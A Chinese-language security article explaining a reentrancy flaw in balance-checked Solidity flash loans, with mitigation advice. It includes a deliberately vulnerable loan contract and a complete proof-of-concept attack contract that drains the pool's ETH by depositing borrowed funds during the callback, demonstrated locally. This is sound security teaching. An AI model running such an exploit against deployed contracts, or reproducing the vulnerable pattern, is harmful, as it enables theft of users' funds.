接下來的幾篇文章,我們將陸續介紹 Solidity、Move 以及 Rust 語言閃電貸實現需要注意的問題以及解決辦法

封面:Photo by Mika Baumeister on Unsplash

上一篇文章我們介紹了各種語言閃電貸的實現方式,雖然各種閃電貸項目的實現思路都大同小異,但是小小的不同也可能會導致嚴重的安全隱患。 接下來的幾篇文章,我們將陸續介紹 Solidity、Move 以及 Rust 語言閃電貸實現需要注意的問題以及解決辦法。

今天我們先來介紹 Solidity 語言閃電貸需要注意的問題。

Solidity 閃電貸設計中,大部分項目會通過檢查自身餘額來判斷調用者是否歸還資金。 單獨看該方式是沒有問題的,因為無論調用者借錢後會進行什麼操作,最終都能保證合約自身資金安全。 但大多閃電貸專案都不會只提供一個閃電貸功能,合約中還會存在其他業務函數,如果其他函數中有對合約餘額產生影響的業務,便可能存在嚴重的安全隱患。

注:以下代碼僅做為閃電貸安全問題研究代碼,不排除存在其他安全問題

下列代碼是一個簡單的閃電貸示例合約,主要由兩個部分組成:

第一個部分是閃電貸的功能,首先記錄一個借出前合約所擁有的 ETH 數量,在借出 ETH 的同時,會調用調用者指定合約的指定函數,最後判斷本合約擁有的 ETH 數量是否大於等於借出之前的 ETH 數量加上 1/100 的手續費。

第二個部分便是提供閃電貸流動性的質押功能,用戶可以將 ETH 質押到閃電貸合約,通過閃電貸收取的手續費來賺取收益。

但是該合約中存在一個非常常見的重入漏洞,可以使得調用者在抵押的同時繞過閃電貸最終檢查。

pragma solidity ^0.8.0;
contract loan {
string public name="lp_Loan"; string public symbol="LL"; uint256 public totalSupply; mapping(address => uint256) public _balance;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() { }
function balanceOf(address owner) public view returns (uint256) { return _balance[owner]; }
function _mint(uint256 amount) internal { _balance[msg.sender] = _balance[msg.sender] + amount; totalSupply+=amount; emit Transfer(address(0), msg.sender, amount); }
function _burn(uint256 amount) internal { _balance[msg.sender] = _balance[msg.sender] - amount; totalSupply = totalSupply - amount; emit Transfer(msg.sender, address(0), amount);}//抵押 ETH,获得凭证币 function deposit() public payable returns(uint256){ uint256 value=address(this).balance - msg.value; uint256 mint_amount; if(totalSupply==0){ mint_amount=msg.value; } else{ mint_amount=msg.value*totalSupply/value; } _mint(mint_amount); return mint_amount; }//提取 ETH,销毁凭证币 function withdrew(uint256 amount) public returns(uint256){ uint256 value=address(this).balance; uint256 send_amount; send_amount = amount * value / totalSupply; _burn(amount); payable(msg.sender).call{value:send_amount}(""); return send_amount;}//闪电贷 function flash_loan(uint256 amountOut, address to, bytes calldata data) external { uint256 value=address(this).balance; require(amountOut <= value); //发送借款并调用目标合约 payable(to).call{value:amountOut}(data); value=value/100+value; //还款检查,收取 1% 手续费(真实项目可能不会这么高) require(address(this).balance>=value); }
receive() external payable { }}

接下來我們使用以下 PoC 代碼針對上述閃電貸專案進行攻擊測試,主要思路是利用閃電貸的回調函數進行重入攻擊,可將正常的業務行為覆蓋為還款行為,最終掏空閃電貸合約的 ETH。

首先調用 PoC 合約的 start()函數,函數將發起閃電貸。 借貸金額為閃電貸合約的 ETH 餘額減一,該步驟是為了後續 deposit()的時候不會導致計算錯誤,傳入 back()函數做為回調參數。

然後在 back()函數中,將借貸的 ETH 再加些許手續費抵押進閃電貸合約,會給 PoC 合約鑄造憑證代幣。

back()函數結束時,閃電貸合約會檢查還款情況,由於抵押時更新了 ETH 餘額,所以檢查將通過。 最後 PoC 合約再利用憑證幣將 ETH 提取出來。

pragma solidity ^0.8.0;
interface loan { function flash_loan(uint256 amountOut, address to, bytes calldata data) external; function withdrew(uint256 amount) external returns(uint256); function deposit() external payable returns(uint256);}contract poc { address public owner; address _loan; loan i_loan; uint256 mint_amount; constructor(address loan_){ owner=msg.sender; _loan=loan_; i_loan=loan(loan_); } function start() public { uint256 value_first = address(this).balance; //发起闪电贷 i_loan.flash_loan(_loan.balance-1,address(this),abi.encodePacked(bytes4(keccak256("back()")))); //提取 ETH i_loan.withdrew(mint_amount); //判断是否产生收益 require(address(this).balance > value_first); }
function back() public payable { //闪电贷回调,质押 ETH(此处并非一定质押 102% 的 ETH,但必须超过 101%) mint_amount = i_loan.deposit{value:(msg.value*102/100)}(); }
receive() external payable { }
function getEth() external { payable(owner).transfer(address(this).balance); }}

本地環境演示:

首先部署閃電貸合約,並通過某位址向其中抵押 50 枚 ETH,模擬項目開始使用。

部署 PoC 合約,並傳入 loan 合約位址,向其中轉入些許手續費,為之後過閃電貸手續費檢查做準備。

調用 PoC 合約的 start()函數,可以發現,loan 的 ETH 已經被轉移到了 PoC 合約。 loan 合約僅剩 1 wei 的餘額。

PoC 合約擁有 52ETH,收益了 50ETH。

安全建議:

對於使用餘額來進行判斷的閃電貸專案,並且合約中還存在其他和餘額操作有關的業務函數,那麼需要在閃電貸函數和其他業務函數之間添加重入鎖,防止在閃電貸過程中再次進入合約,從而影響最終檢查。

或者使用單獨的帳本記錄其他業務的相關信息,閃電貸函數在做檢查的時候,要將單獨帳本進行共同檢查。  例如上述代碼,deposit 函數中增加一個帳本用於記錄抵押量,在 flash_loan 函數中,需要減去該抵押量帳本數據,再進行閃電貸前後判斷。

使用其他方式進行還款驗證,例如 ERC20 代幣的閃電貸,使用 SafeTansferfrom 函數進行轉帳,實行「強制」還款方案。

免責聲明:作為區塊鏈資訊平臺,本站所發佈文章僅代表作者及嘉賓個人觀點,與 Web3Caff 立場無關。 文章內的資訊僅供參考,均不構成任何投資建議及要約,並請您遵守所在國家或地區的相關法律法規。